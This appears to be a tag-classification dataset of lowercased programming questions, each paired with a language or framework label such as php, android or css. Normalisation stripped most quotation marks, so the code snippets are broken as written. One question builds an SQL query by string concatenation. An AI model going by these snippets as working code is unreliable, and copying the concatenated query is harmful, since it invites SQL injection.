)     else       actioncontroller::base.helpers.image_tag( gold-star-maze.png   class:  gold-star )     end   end </code></pre>   why is one spot better than the other  and what is the best practice for something like this where their are a lot of string conditions,ruby-on-rails
is there a way i can track when there is a $http in progress   my service has the following:   <pre><code>self.$http({    url:    xxx     method:  delete  }) .success((): void =&gt; {  }); </code></pre>   is there a way that i can change the state of a button on my html to be disabled while the $http call is in progress,angularjs
calculating value of k without messages  question:    <strong>find the value of k in <code>myinterviewarray</code> without any messages/calls</strong>    i was given this hint:    <strong>the numbers in the array will never exceed 1-9.</strong>    <code>nsarray *myinterviewarray = @[@2 @1 @3 @9 @9 @8 @7];</code>    example:    <strong>if you send 3  the array will return the 3 biggest values in <code>myinterviewarray * 3</code>. so in the example below  k = 9 + 9 + 8.</strong>    --    i was asked this question a while back in an interview and was completely stumped. the first solution that i could think of looked something like this:    interview test array:    <code>[self findingk:myinterviewarray abc:3];</code>   <pre><code>-(int)findingk:(nsarray *)myarray abc:(int)k{ // with reverse object enumerator myarray = [[[myarray sortedarrayusingselector:@selector(compare:)] reverseobjectenumerator] allobjects];  int tempa = 0;  for (int i = 0; i &lt; k; i++) {     tempa += [[myarray objectatindex:i] intvalue]; }  k = tempa; return k; } </code></pre>   but apparently that was a big no-no. they wanted me to find the value of k without using any messages. that means that i was unable to use <code>sortedarrayusingselector</code> and even <code>reverseobjectenumerator</code>.    <strong>now to  the point!</strong>    i ve been thinking about this for quite a while and i still can t think of an approach without messages. does anyone have any ideas,objective-c
ios scroll view bounds not equal to superview bounds  i ve got a uiscrollview that has constraints pinning it to the superview s leading and trailing edges (not the margins).  in this scroll view i have a uiimage which i m setting to initially be the full width of the scroll view.  on the iphone 7 this works correctly  the image is full width    however on the iphone 7 plus there is a gap between the edge of the image and the edge of the screen.  the scroll view is full width as when i zoom the image in it does go right to the edge.    i m getting the image to match the scroll view width by setting    <code> imageview.frame = scrollview.bounds imageview.contentmode = .scaleaspectfill </code>    the issue seems to be the scroll view bounds.  on the iphone 7 plus the scroll view width is reported as 375  however the screen width is reported as 414.  on the iphone 7 the scroll view width is 375 and the screen width is also 375.    anyone know why this is   i m sure i m misunderstanding something!,ios
import java.util.scanner never used  i get this error:   <blockquote>    import java.util.scanner never used  </blockquote>   i m not sure what i need to insert.   <pre><code>import java.util.scanner;  public class diamond {     public static void diamondofasterisks() {         for (int i = 1; i &lt; 10; i += 2) {             for (int j = 0; j &lt; 9 - i / 2; j++)                 system.out.print(   );              for (int j = 0; j &lt; i; j++)                 system.out.print( * );              system.out.print( \n );         }          for (int i = 7; i &gt; 0; i -= 2) {             for (int j = 0; j &lt; 9 - i / 2; j++)                 system.out.print(   );              for (int j = 0; j &lt; i; j++)                 system.out.print( * );              system.out.print( \n );         }     } } </code></pre>,java
stop redirecting to sessions/new   i use <code>before_filter :login_required</code> on a controller  and everything behaves as it should - a user who isn t logged in is bumped to sessions/new. but given that i m doing this on the root  url  i d like to avoid having an actual redirect (to not show /sessions/new) in the user s browser bar. how would i tweak,ruby-on-rails
why is my foreach loop returning the entire array where it should be storing the individual values   i have a string that looks like this:   <pre><code>jmoz001-jmgmdm-2017-mar-13- jmoz001-jmkj-2017-mar-15- jmoz001-jmgmkj-2017-mar-16- </code></pre>   i am using explode to create an array from each component separated by a comma using:   <pre><code>print_r($skusearchesarray[] = explode(     $skusearches)); </code></pre>   the ouput for the above is exactly as you would expect:   <pre><code>array ( [0] =&gt; jmoz001-jmgmdm-2017-mar-13- [1] =&gt; jmoz001-jmkj-2017-mar-15- [2] =&gt; jmoz001-jmgmkj-2017-mar-16- ) </code></pre>   now i am trying to loop through each item in the array and do things for each one using this code:   <pre><code>foreach($skusearchesarray as $skusearchterm) {     print_r($skusearchterm); } </code></pre>   i expect the above to print out the string for each item in the array  but instead it prints out the whole array it is a part of. this is the output for that print:   <pre><code>array ( [0] =&gt; jmoz001-jmgmdm-2017-mar-13- [1] =&gt; jmoz001-jmkj-2017-mar-15- [2] =&gt; jmoz001-jmgmkj-2017-mar-16- ) </code></pre>   same as printing out the array itself. what gives,php
php array_diff giving nothing back  i am using code below to get the uploadedjson arrays that are not contained in the localjson.   <pre><code>$uploadedjson = json_decode(file_get_contents( php://input ) true);  $data = file_get_contents( results.json ); $localjson = json_decode($data true);     $result = array_diff($uploadedjson  $localjson); </code></pre>   my uploadedjson is the following:   <pre><code>array (     [0] =&gt; array         (             [shop] =&gt; otci             [ipadnumber] =&gt; 1             [starttime] =&gt; 03 03 14             [endtime] =&gt; 04 04 14             [elapsedtime] =&gt; 54             [amount] =&gt; 15             [receipt] =&gt; 0             [staffid] =&gt; 123456789         )      [1] =&gt; array         (             [shop] =&gt; otci             [ipadnumber] =&gt; 1             [starttime] =&gt; 03 03 14             [endtime] =&gt; 04 04 14             [elapsedtime] =&gt; 54             [amount] =&gt; 15             [receipt] =&gt; 1             [staffid] =&gt; 123456789         )  ) </code></pre>   my $localjson is the following:   <pre><code>array (     [0] =&gt; array         (             [shop] =&gt; otci             [ipadnumber] =&gt; 1             [starttime] =&gt; 03 03 14             [endtime] =&gt; 04 04 14             [elapsedtime] =&gt; 54             [amount] =&gt; 15             [receipt] =&gt; 1111             [staffid] =&gt; 123456789         )      [1] =&gt; array         (             [shop] =&gt; otci             [ipadnumber] =&gt; 1             [starttime] =&gt; 03 03 14             [endtime] =&gt; 04 04 14             [elapsedtime] =&gt; 54             [amount] =&gt; 15             [receipt] =&gt; 2222             [staffid] =&gt; 123456789         )      [2] =&gt; array         (             [shop] =&gt; otci             [ipadnumber] =&gt; 1             [starttime] =&gt; 03 03 14             [endtime] =&gt; 04 04 14             [elapsedtime] =&gt; 54             [amount] =&gt; 15             [receipt] =&gt; 3333             [staffid] =&gt; 123456789         )  ) </code></pre>   and the difference is nothing. how can i get the arrays in uploadedjson that are not contained in localjson.    thanks in advance,php
dynamic variable in function argument  let us say i have a function like this:   <pre><code>def helloworld(**args):     for arg in args:         print(args[arg]) </code></pre>   to call this function is easy:   <pre><code>helloworld(mymsg =  hello  world ) helloworld(anothermessages =  no  no this is hard ) </code></pre>   but the hard part is that i want to dynamically name the args from variables coming from a list or somewhere else.  and i d want for mymsg and anothermessages to be passed from a list (for example  the hard part that i am clueless and i need help with is how to take strings into variables to be inputs of a function).   <pre><code>list_of_variable_names = [ mymsg   anothermessages ] for name in list_of_variable_names:     helloworld(name =  ooops  this is not easy  how do i pass a variable name that is stored as a string in a list  no idea! help! ) </code></pre>,python
how do i list files in sd card   i have an android project that allow user to download pdf files  and it has been stored the files in the sd card   i want to collect all the pdf files in specific button  when the user click on this button it will show the list that contains all downloaded files. how can i do this function thanks,android
mysql select only non alpha numbers  i have a varchar type field that can contains both numeric (222) or alpha-number (cpo13) values.    i want to select only values that are numeric   i see in example how to choose non-numeric but i want to filter out those with letters of the alphabet,mysql
textswitcher not updating  so i have a textswitcher that i want to update every second with the number of seconds it has been since the activity opened. here is my code   <pre>public class secondactivity extends activity implements viewfactory {        private textswitcher counter;     private timer secondcounter;     int elapsedtime = 0;      @override     public void oncreate(bundle savedinstancestate)     {         // create the layout         super.oncreate(savedinstancestate);          setcontentview(r.layout.event);          // timer that keeps track of elapsed time         counter = (textswitcher) findviewbyid(r.id.timeswitcher);         animation in = animationutils.loadanimation(this                  android.r.anim.fade_in);         animation out = animationutils.loadanimation(this                  android.r.anim.fade_out);         counter.setfactory(this);         counter.setinanimation(in);         counter.setoutanimation(out);          secondcounter = new timer();         secondcounter.schedule(new timerupdate()  0  1000);     }      /**      * updates the clock timer every second      */     public void updateclock()     {                 //update time         elapsedtime++;         int hours = elapsedtime/360;         int minutes = elapsedtime/60;         int seconds = elapsedtime%60;          // format the string based on the number of hours  minutes and seconds         string time =   ;          if (!hours >= 10)         {             time +=  0 ;         }         time += hours +  : ;          if (!minutes >= 10)         {             time +=  0 ;         }         time += minutes +  : ;          if (!seconds >= 10)         {             time +=  0 ;         }         time += seconds;          // set the text to the textview         counter.settext(time);     }      private class timerupdate extends timertask     {         @override         public void run()         {             updateclock();           }     }      @override     public view makeview()      {         log.d( makeview );         textview t = new textview(this);         t.settextsize(40);         return t;     } }</pre>   so basically  i have a timer that every second adds another second and them formats the way i want to be displayed and set the text of the textswitcher  which i thought called makeview  but makeview only gets called once and the time stays as 00:00:01. did i miss a step  i dont think this ui object is very well documented.    thanks  jake,android
getting parameter from the command line and fail to open file <pre><code>int main(int argc  char *argv[]) {  file *fp; printf( %s\n   argv[0]); printf( %s\n   argv[1]); printf( %s\n   argv[2]);  fp = fopen(argv[1]   r );  if((fp == null) || strcmp(argv[0]   mysearch ) != 0) {   fprintf(stdout   file is null  );   fflush( stdout );   exit(0); } </code></pre>   in the command line i put    <pre><code>gcc lab2.c -o mysearch </code></pre>   and then   <pre><code>./mysearch arr_file.txt 6    </code></pre>   the function prints    <pre><code>./mysearch arr_file.txt 6 file is null  </code></pre>   there is a file called arr_file.txt  but why it failed to open it  can someone help  thanks in advance.,c
hexa decimal conversion  how to convert integer into hexadecimal value programmatically in iphone,iphone
pythonic way to create 3d dict  i want to create a dict which can be accessed as:   <pre><code>d[id_1][id_2][id_3] = amount </code></pre>   as of now i have a huge ugly function:   <pre><code> def parse_dict(id1 id2 id3 principal  data_dict):         if data_dict.has_key(id1):            values = data_dict[id1]            if values.has_key[id2]               ..         else:             inner_inner_dict = {}              # and so on </code></pre>   what is the pythonic way to do this     note  that i input the principal.. but what i want is the amount.. so if all the three keys are there.. add principal to the previous amount!    thanks,python
problem with sql command  i have the following sql statement that doesn t seem to work :    <blockquote>    string a =  select   c.comment_type  c.from_user_id  c.to_user_id  c.message   from comments c where count(select *   from friends where (   id_friend_1=c.from_user_id and   id_friend_2=   + session[0] +   ) or (   id_friend_1=  +session[0]+   and   id_friend_2=c.from_user_id))>0  ;  </blockquote>   i have a comment section and i need to display it only if that person who was commented it is my friend  so i look in my friends table that has 3 fields : id   id_friend_1 and id_friend_2,sql
contacts list crashes when accessed by app under some android devices  in my app i give the user the opportunity to choose a number from his contacts. on my phone (samsung galaxy splus) it works every time  without even a warning. i sent this app to some of my friends to test it before i upload it and they said that it crashed every time when choosing a name from the contacts list. i do not have access to any other device right now  so do you see anything problematic in my code    <pre><code>search_contacts.setonclicklistener(new view.onclicklistener() {              public void onclick(view v) {                 intent intent = new intent(intent.action_get_content);                 intent.settype(contactscontract.commondatakinds.phone.content_item_type);                 startactivityforresult(intent  1);             }         });  protected void onactivityresult(int requestcode  int resultcode  intent data) {         if (data != null) {             uri uri = data.getdata();              if (uri != null) {                 cursor c = null;                 try {                     c = getcontentresolver()                             .query(uri                                      new string[] {                                             contactscontract.commondatakinds.phone.number                                              contactscontract.commondatakinds.phone.type }                                      null  null  null);                      if (c != null &amp;&amp; c.movetofirst()) {                         string number = c.getstring(0);                         sharedpreferences settings = preferencemanager                                 .getdefaultsharedpreferences(mainactivity.this);                         sharedpreferences.editor editor1 = settings.edit();                         editor1.putstring( phone   number);                         editor1.commit();                         system.out.println( set phone number to:   + number);                         send_to = number;                         text.settext(send_to);                         // int type = c.getint(1);                         // showselectednumber(type  number);                     }                 } finally {                     if (c != null) {                         c.close();                     }                 }             }         }     } </code></pre>,android
yeoman walkthrough angular js not working  i am doing the to do list app but having difficulties my code for my main.html is   <pre><code>&lt; body&gt; &lt;div class= jumbotron &gt; &lt;h2&gt;my todos&lt;/h2&gt; &lt;p class= form-group  ng-repeat= todo in todos &gt; &lt;input type= text  ng-model= todo  class= form-control &gt; &lt;/p&gt; &lt;/div&gt; &lt;/body&gt; </code></pre>   and my code for main.js is   <pre><code>use strict ;   angular.module( mytodoapp ) .controller( mainctrl   function ($scope) { $scope.todos = [ item 1    item 2    item 3 ]; }); </code></pre>   can anyone shed some light please,angularjs
jquery contextmenu - handling right click on another object  i m implementing contextmenu on svg canvas object:   <pre><code>oncontextmenu:function (x  y) {     $( #contextmenubase ).remove();     $( #canvas ).append( &lt;div id= contextmenubase   +          style= position: absolute; height:1px; width:1px; left:   + x +  px; top:   + y +  px;  &gt;&lt;/div&gt; );      $.contextmenu({         selector: #contextmenubase           events:{             hide:function () {                 $( #contextmenubase ).remove();                 $.contextmenu( destroy );             }         }          callback:$.proxy(function (key  options) {             switch (key) {                 case  delete_figure :                     this.setcolor( ff0000 );                     break;                 case  delete_table :                     this.setcolor( 00ff00 );                     break;                 default:                     break;             }         }  this)          x:0          y:0          items:{             delete_figure:{name: delete figure }              delete_table:{name: delete table }         }     }); } </code></pre>   svg element can t be referred with selector  so i created 1-pixel div in the pointer position and use it and trigged object. when user clicks outside menu  it destroyed.    i have only one challenge. if two objects have context menus and i make right click on first  then right click on second  first context menu should disappear  second - appear. but in my case hide() method called  first menu destroyed  but canvas doesn t receive right click event and  as result  doesn t create second menu.     how to fix it     thanks  boris.,jquery
how to fix my model associations  i m struggling to understand model associations  and how to have them set up correctly. i m hoping someone here knows how  and that i can kind of explain what i want to accomplish.    i have a user model that looks like this:   <pre><code>has_many :companies has_many :contacts belongs_to :company </code></pre>   a user can create a company  and belongs to a company. it can also import contacts from email providers (such as google). thus it can have many contacts.     then we have the company model:   <pre><code>belongs_to :admin  class_name:  user   foreign_key:  user_id  has_many :users has_many :categories has_many :contacts </code></pre>   a company belongs to an admin  which is the user that creates it.  it can also however have several users that belongs to the company (they get invited by the admin). it also has categories  that the admin can create - which belongs to the company. it can also have contacts  which will be put the content of the categories (the categories are groups for contacts).    then we have the categories. they are created by the admin (user) for the company.   <pre><code>belongs_to :company has_many :contacts </code></pre>   the categories store all the contacts.    then lastly the contacts:   <pre><code>belongs_to :user belongs_to :company </code></pre>   the contacts belongs to the user (the user that imports them) however they are also a part of the assets to the company (as all the actions the user makes)  they don t necessarily need to be a part of a category  however they can - and can also be a part of several categories.     i m certain there are some flaws  and i want to fix my associations now so i don t end up building a lot of code on the wrong structure.    hope somebody can help me out  on how to clean up this relatively large app  for a rookie,ruby-on-rails
uilabel and zapinfo  here is very simple code:   <pre><code>uilabel *label = [[uilabel alloc] init]; label.font = [uifont fontwithname:@ zapinfo  size:20]; label.text = @ f ; </code></pre>   most of the fonts are rendered correctly  except very specific ones like zapinfo. for example  when a letter  f  is drawn just a center of this symbol is shown  left and right curls are missed. moreover  this effect can be easy repeated in interface builder. is this bug or feature  what should i do to show entire  non-cutted letters,ios
average annual change   i am working on a program that will pull the midyear population for the united states during the years 1950 through 1990. the first line pulls for 50  the next line has the population for 51  and so on. the program pulls the information  then displays the year with the greatest increase in population  the smallest increase in population  and the average annual change in population during the range of dates.    i can do the first two  but the average annual change is not displaying correctly. i was given a hint  and apparently i am missing a line at 30. the average annual change just keeps displaying as zero  :(   <pre><code>def main():     #setup variables     yearly_change = []     change=0.0     total_change=0     average_change=0     greatest_increase=0     smallest_increase=0     greatest_year=0     smallest_year=0     base_year=1950     try:         #open the file for reading         input_file = open( uspopulation.txt    r )         #read all the lines in the in file into a list         yearly_population= input_file.readlines()         #turn all read lines into a number         for i in range(len(yearly_population)):             yearly_population[i] = float(yearly_population[i])         #calculate the change in population size for each two years         for i in range(1 len(yearly_population)):             change = yearly_population[i] - yearly_population[i-1]              #missing single line here                #if this is the first year  set trackers to its value             if i==1:                 greatest_increase = change                 smallest_increase = change                 greatest_year = 1                 smallest_year = 1             #this is not the first change in population size             #update the trackers if relevent             else:                 if change&gt;greatest_increase:                     greatest_increase = change                     greatest_year = i                 elif change&lt;smallest_increase:                     smallest_increase = change                     smallest_year = i             total_change = float(sum(yearly_change))             average_change = total_change/40             print( the average annual change in population during the time period is  \                   format(average_change   .2f ))             print( the year with the greatest increase in population was   base_year+greatest_year)             print( the year with the smallest increase in population was   base_year+smallest_year)             input_file.close()     except ioerror:         print( the file could not be found )     except indexerror:         print( there was an indexing error )     except:         print( an error occurred )  main() </code></pre>   as requested  here are a few lines of the input file:    <pre><code>151868 153982 156393 158956 161884 165069 168088 171187 174149 177135 179979 </code></pre>   this is just a basic .txt file  with the first line being the population of the states in 1950  the second being the population in 1951  and so on.,python
rails...am i modeling this correctly   in my application there are courses which have steps. (a user proceeds though the course by viewing the steps in order)    but there are many types of steps (quiz  text  video..etc). in this example i will show 2 of the steps.    here is my database/model design so far:   <h2>steps</h2>  <ul> <li>id</li> <li>step_type_id</li> <li>client_id</li> <li>title</li> <li>summary</li> <li>position</li> </ul>   <em>relationships</em>:    <ul> <li>belongs_to: client</li> <li>belongs_to: step_type</li> <li>has_one: step_quiz</li> <li>has_one step_text</li> </ul>  <h2>step_quizzes</h2>  <ul> <li>id</li> <li>step_id</li> <li>instructions</li> <li>correct_to_pass</li> <li>retakes_allowed</li> <li>time_limit</li> </ul>   <em>relationships</em>:    <ul> <li>belongs_to: step</li> <li>has_many: quiz_questions</li> </ul>  <h2>step_texts</h2>  <ul> <li>id</li> <li>step_id</li> <li>content</li> </ul>   <em>relationships</em>:    <ul> <li>belongs_to: step</li> </ul>   it was suggested to me before that this is a polymorphic relationship  but i guess i don t see how it is. i see it as an inheritance relationship where a sub step type inherits its basic information from the steps table. can this be modeled differently,ruby-on-rails
can you measure css borders in %s   i want to make my borders be percentages because my whole layout is based on percentages and when the screen is small enough one part floats lower because the borders are too big in px.    jsfiddle <a href= http://jsfiddle.net/chromedude/s9bdg/1/  rel= nofollow >here</a>,css
inputting a character value into an int array   this is the program that i wrote:   <pre><code>    #include&lt;iostream&gt;     using namespace std;      int main()     {         int hex[16];         cout &lt;&lt;  enter the 16 hexadecimal numbers\n ;         for(int i = 0;i &lt; 16;i++)         {             cin &gt;&gt; hex[i];             cout &lt;&lt;  input worked\n ;         }     } </code></pre>   <a href= https://i.stack.imgur.com/b729h.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/b729h.png  alt= enter image description here ></a>    can you please explain to me why the  input worked  output is again being displayed after i inputted  a . shouldn t the program stop if i did that     what i mean is why does   input worked  line output after cin stopped taking input i mean if there is a problem in taking input from cin why is cout still working,c++
can we use third party payment gateway in ios in-app purchase   one of our clients have approached us to develop an app like yelp where restaurants with happy hours can list their business  which is showed to end consumer of the app when they are trying to find nearest restaurants.    business owner have to purchase subscription in order to do that  we wanted to clarify whether we can use third party payment processor like pay pal as the same service is also going to be available in android platform as well.,ios
how is the memory allocated for an array defined (declared ) in a header file   say  there is a proc.h which defines an array like    proc.h:   <pre><code>struct proc {  char p_stat;  char p_flags;  int p_pid; } proc[100]; </code></pre>   and there are another 5 .c files including this header file. i did not see any of such .c files allocate the memory for this array. i think it s linker that allocates the memory for it.  however  what appears in the header file should be just a declaration. how could a declaration causes the memory allocation  i thought only definition will cause the memory allocation.    thanks,c
can html be considered styling   the definition of styling is:   <blockquote>     design or make in a particular form   </blockquote>   since html does style content  like we have <code>&lt;i&gt;</code>  <code>we can display content in lists</code>  <code>make content bold</code>  use heading by using <code>&lt;h1&gt; &lt;h2&gt;...so on</code>. for me all of this does qualify as styling. so  can html be considered styling,html
html validation error: form as child of ul  i want to put a form in my navbar and therefore wrote the following html code   <pre><code>&lt;div id= navbar  class= collapse navbar-collapse &gt;     &lt;div class= navbar-inner &gt;         &lt;ul class= nav navbar-nav &gt;             &lt;li class= active &gt;             &lt;li&gt;&lt;a href= / &gt;&lt;span class= glyphicon glyphicon-home  aria-hidden= true &gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;item 1&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;item 2&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;ul class= top_navbar_center &gt;              &lt;form action= /target  method= get  style= display:inline;top-margin:5px;padding:5px; &gt;                   {{ form_search.hidden_tag() }}                   {{ form_search.search() }}                   &lt;input type=hidden id= user_id  name= user_id &gt;               &lt;/form&gt;          &lt;/ul&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   however  my html validator tells me that this is invalid syntax    <pre><code>error: element form not allowed as child of element ul in this context. </code></pre>   so my question is how can i correctly include the form in the navbar  thanks carl,html
how to use classes appropriately in this example  <h2>1. add an entry to the book.</h2>   command syntax: add firstname lastname month day year each entry in the birthday book consists of a first name  a last name  and a date. a date consists of a month  a day  and a year. you do not need to verify that the month  day  and year are sensible values. you may not assume that the month  day  and year are given as integers  and you must require the user to give you integers. example ( >   is the prompt):    <pre><code>  &gt; add natalie hershlag 6 9 1981      added  natalie hershlag  6/9/1981  to birthday book.       &gt; add william pitt 12 18 1963      added  william pitt  12/18/1963  to birthday book.       &gt; add john depp 6 9 1963      added  john depp  6/9/1963  to birthday book.       &gt; add bono      error: unable to add birthday to book. add requires 5 arguments.      &gt; add paul hewson may 10 1960     error: unable to add birthday to book. please use integers for dates. </code></pre>  <h2>2. list all entries in the book.</h2>   command syntax: list prints out a list of all birthday book entries  numbered  one per line. example:   <pre><code>&gt; list  1. madonna ciccone  8/16/1958 2. natalie hershlag  6/9/1981 3. william pitt  12/18/1963 4. john depp  6/9/1963 </code></pre>  <h2>3. delete an entry in the book by number.</h2>   command syntax: delete number you may not assume that the user will always give an integer as the number that they want to delete. after checking to see that the entry number is valid  the program should verify that the user really wants to delete the entry by asking for a  y  or a  n   which mean  yes  or  no  respectively. you should continue to prompt for a  y  or a  n  until you get one or the other. example:   <pre><code>&gt; list 1. madonna ciccone  8/16/1958 2. natalie hershlag  6/9/1981 3. william pitt  12/18/1963 4. john depp  6/9/1963 &gt; delete 3 really delete william pitt from the birthday book  (y/n) y &gt; list 1. madonna ciccone  8/16/1958 2. natalie hershlag  6/9/1981 3. john depp  6/9/1963 &gt; delete 4 i m sorry  but there is no such entry in the book. &gt; delete 1 really delete madonna ciccone from the birthday book  (y/n) nada please enter  y  or  n . (y/n) n &gt; list 1. madonna ciccone  8/16/1958 2. natalie hershlag  6/9/1981 3. john depp  6/9/1963 </code></pre>   how would i go about starting this question  i need to incorporate the use of classes as well  i don t need specific code  but rather a general point on how to start this. would i start by putting each function (add  list  delete) into a different class to deal with them and having a common array in the main class,c#
html5mode in angularjs is rewriting my query string  as you are aware that angular rewrites the url and hence i have given the following code to take care  fyi i am not using the route provider in angular.    i have already resolved the issue raised by phil using $locationprovider.html5mode   <pre><code>   use strict ; (function () {     angular.module( ngdocument   [ nganimate    ngsanitize    ui.bootstrap ]) })();  angular  .module( ngdocument )  .config(configstate);  function configstate($locationprovider) {  if (window.history &amp;&amp; window.history.pushstate) {     $locationprovider.html5mode({         enabled: true          requirebase: false          rewritelinks: false     }).hashprefix( * );; } else {     $locationprovider.html5mode(false); } } ///#source 1 1 /app/services/sq-service.js  angular.module( ngdocument )  .service( sqservice   [ $http   function ($http) {     // service code -- this comeplete code is not hitting when you go to this url   }]);  ///#source 1 1 /app/services/sq-controller.js  angular.module( ngdocument ) .controller( sqwidgetinternetcontroller   [ $scope    $rootscope    $http    sqservice   function ($scope  $rootscope  $http  sqservice) {  // comeplete contrller code ---- this comeplete code is not hitting when you go to this url    }]); </code></pre>   now my issue is: the following url    <pre><code>http://localhost:62395/#tv mobile=1 </code></pre>   is rewritten to:    <pre><code>http://localhost:62395/#tv%3fmobile=`enter code here`1 </code></pre>   am i missing something here or in the code,angularjs
a function to search from a list with two different ways  i m kind of new to python. so  i wonder which method is better to use in a function to find an element in a list.    first:   <pre><code>def search_binary(xs target):     count = 0     for i in xs:         if i == target:             return count             count = count +1         else:             count = count +1             continue     return -1 </code></pre>   second:   <pre><code>def search_binary(xs  target):     lb = 0     ub = len(xs)     while true:         if lb == ub:               return -1          mid_index = (lb + ub) // 2          item_at_mid = xs[mid_index]           if item_at_mid == target:             return mid_index               if item_at_mid &lt; target:             lb = mid_index + 1             else:             ub = mid_index  </code></pre>,python
extern and global variable  i am unable to understand the weird behaviour of the program. it throws a warning but the output is surprising. i have 3 files  file1.c  file2c  file1.h    file1.c :   <pre><code>#include  file1.h   extern void func(void);   int main(void) { func(); printf( %d\n  var); return 0; } </code></pre>   file2.c:   <pre><code>int var;   void func(void) { var = 1; } </code></pre>   and file1.h is :   <pre><code>#include&lt;stdio.h&gt;  extern double var; </code></pre>   when i compile and run  it shows a warning as expected but on printing prints 1. but how is it possible when i am changing the var declared in file2.c,c
how to make a constraint on the parameters of the constructor  now i am trying to design a class for a deck of cards. i have: card.h   <pre><code>class card { public:     enum suit { clubs = 1  spades  hearts  diamonds  red_joker  black_joker };     card(int card  suit suit);  private:     int _card;     suit _suit; }; </code></pre>   for the constructor with parameters  i am going to make a constraint on card  the range of it is 1 to 13，so i am going to write the constructor like this:   <pre><code>card::card(int card  suit suit) throw (int) {     if (card &lt; 1 || card &gt; 13) {         delete this;         throw card;     } } </code></pre>   i don t think the way i write the constructor is elegant. i also consider to add an enum for card. but it just works for this question. what about if i need to check a value from 1 to 100000  could anyone give some suggestion  thanks a lot!,c++
styling link using css in this particular html structure  how to style link with class <code>selected</code> under this html structure   <pre><code>&lt;li class= submenu_items  style= display: list-item; &gt;         &lt;ul&gt;             &lt;li&gt;                 &lt;a class= selected  href= /page &gt;page&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt; </code></pre>,css
"box-shadow not working on a normal link wrapping a thumbnail  anyone have any ideas why    <blockquote>    box-shadow:inset 0px 0px 0px 3px #f14fa1;  </blockquote>   is not applying to a link wrapped in an image  im a little stumped to why its not working as im using it in a similar way else where.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.ty-product-thumbnails__item {
   margin: 0 8px 10px 0;
 }
 .ty-product-thumbnails__item.active {
   border: 1px solid #edeff1;
 }
 .ty-product-thumbnails__item.active {
   -webkit-box-shadow: inset 0px 0px 0px 3px #f14fa1;
   -moz-box-shadow: inset 0px 0px 0px 3px #f14fa1;
   box-shadow: inset 0px 0px 0px 3px #f14fa1;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= http://2015.ambientlounge.com/var/cache/misc/assets/design/themes/ambientlounge/css/standalone.88d87b4a7fc31ccb7652f00418d997481438711860.css  rel= stylesheet  /&gt;
 &lt;div class= ty-product-thumbnails ty-center cm-image-gallery  id= images_preview_74455c1004e13f47  style= width: 400px; &gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_2713  class= cm-thumbnails-mini active ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_2713_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/2/luscious-grey-1.jpg t=1438314416  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3840  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3840_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-2_u7is-mj.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3841  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3841_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-3.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3842  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3842_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-4.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3843  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3843_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-5_1s1r-7o.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3844  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3844_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-6.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3845  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3845_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey-7.jpg t=1438314417  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3846  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3846_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/luscious-grey_mnn7-8j.jpg t=1438314418  alt=   title=  &gt;
   &lt;/a&gt;
   &lt;a data-ca-gallery-large-id= det_img_link_74455c1004e13f47_3847  class= cm-thumbnails-mini ty-product-thumbnails__item &gt;
     &lt;img class= ty-pict      id= det_img_74455c1004e13f47_3847_mini  src= http://2015.ambientlounge.com/images/thumbnails/55/55/detailed/3/dims-butterfly_1q5y-65.jpg t=1438314418  alt=   title=  &gt;
   &lt;/a&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
